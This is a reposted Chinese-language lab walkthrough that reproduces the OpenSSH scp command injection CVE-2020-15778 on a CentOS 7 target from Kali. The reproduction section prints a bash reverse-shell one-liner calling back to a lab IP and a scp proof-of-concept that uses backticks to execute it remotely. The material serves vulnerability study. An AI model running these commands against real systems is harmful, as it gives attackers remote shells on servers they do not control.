OpenSSH 命令注入漏洞(CVE-2020-15778)


0x00 漏洞介紹

CVE編號:CVE-2020-15778

發布時間:2020-07-24

危害等級:高危

漏洞版本:<= openssh-8.3p1

漏洞描述:OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系統命令注入漏洞。該漏洞即使在禁用ssh登錄的情況下,但是允許使用scp傳文件,而且遠程服務器允許使用反引號(`),可利用scp復制文件到遠程服務器時,執行帶有payload的scp命令,從而在后續利用中getshell。

利用條件:知道目標的ssh密碼

0x01 模擬場景

設置iptables策略模擬僅允許使用scp的場景,讓該漏洞在特殊環境下實現命令注入。

0x02 實驗場景部署

靶機環境:Centos 7

滲透機環境:Kali 2019版本

1、查看ssh版本

ssh -V

為漏洞存在版本。

2、測試ssh與scp在正常情況下的使用情況。

可以正常使用。

3、執行service iptables status 檢查是否安裝iptables,若已安裝iptables,可跳過第三步。

(1)安裝iptables

yum install -y iptables 

(2)安裝iptables-services

yum install iptables-services 

(3)centOS7默認自帶firewalld

先停止firewalld服務 
systemctl stop firewalld
禁用firewalld服務 
systemctl mask firewalld  

(4)查看現有規則

iptables -L -vn

iptables -F是清空默認規則

iptables -L -n --line-number 顯示規則和相對應的編號

4、在Centos中設置iptables策略,禁用ssh遠程連接,但開放scp。

命令:

service iptables start
iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP
service iptables save
iptables -L -n --line-number 

5、測試ssh與scp在已設置iptables策略下的使用情況。

0x03 SSH命令注入漏洞復現

1、在kali創建一個1.sh文件,並寫入一個反彈shell的bash命令。

bash -i >& /dev/tcp/192.168.207.156/4444 0>&1

2、使用scp命令,把該文件上傳到靶機的/tmp下

3、在新建的命令行頁面中輸入命令:

4、使用POC,遠程執行命令。

scp 1.sh root@192.168.207.156:'`sh /tmp/1.sh`'

5、可以看到,在輸完密碼后,稍等一會就已經成功反彈了shell,實驗結束。

0x04 漏洞防御

1、先確保ssh密碼沒有泄露,等一波openssh的新版本吧

2、升級ssh版本

3、等待廠商發布補丁


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM